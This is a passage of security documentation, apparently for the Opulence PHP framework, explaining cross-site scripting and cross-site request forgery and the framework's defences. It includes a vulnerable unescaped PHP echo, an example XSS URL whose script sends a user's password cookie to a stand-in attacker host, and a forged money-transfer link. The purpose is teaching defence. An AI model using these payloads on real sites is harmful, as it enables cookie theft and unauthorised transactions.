- Introduction
- Generating Random Strings
- What is It?
- How to Use It
- Comparing Strings
- What is It?
- How to Use It
- Hashing
- What is It?
- How to Use It
- Encryption
- What is It?
- How to Use It
- Cross-Site Scripting (XSS)
- What is It?
- How to Defend Against It
- Cross-Site Request Forgery (CSRF/XSRF)
- What is It?
- How to Defend Against It
Hello, <?php echo $_GET["name"]; ?>A malicious user could send an unsuspecting user a hyperlink with a XSS injection in the URL: http://your-site.com/?name=<script>(new Image).src="http://attacker-site.com/" + $.cookie("user-password")</script>. Clicking on the link would take the user to your page, which would display:
Hello, <script>(new Image).src="http://attacker-site.com/" + $.cookie("user-password")</script>
Loading this page would send the user's "user-password" cookie to the attacker's server.
To solve this problem you must sanitize any user-input before displaying it on a page. [Opulence's template system](view-fortune#sanitized-tags) gives you the tools to prevent cross-site scripting. Cross-site request forgery is an attack where unauthorized commands are sent to a trusted site through an authenticated user. For example, a malicious user might send a normal user Bob the following hyperlink: `http://your-site.com/transferMoney?amount=1000&to=attacker-account-Id`. If Bob was logged into your site, clicking this link would attempt to transfer money to the attacker's account without Bob's authorization. To prevent this from happening, a unique token should be embedded in every form and with every session. When the form is submitted, the form token and session token should be compared, and if they are not equal, the submission should be rejected. In the example case above, the form token would not be set. With CSRF protection in place, the form and session tokens would not match, and the form submission would be rejected.Opulence automatically generates and compares the tokens using middleware. To include the token in your form, use the {{! csrfInput() !}} view function in your view. This will create a hidden input with your token, which will validate against the session token. You can also use the {{ csrfToken() }} template function to print the token in elements like meta tags:
<meta name="csrf-token" content="{{ csrfToken() }}">To give you CSRF protection in JavaScript, Opulence sets the XSRF-TOKEN cookie, which some frameworks use to automatically set the X-XSRF-TOKEN HTTP header in requests.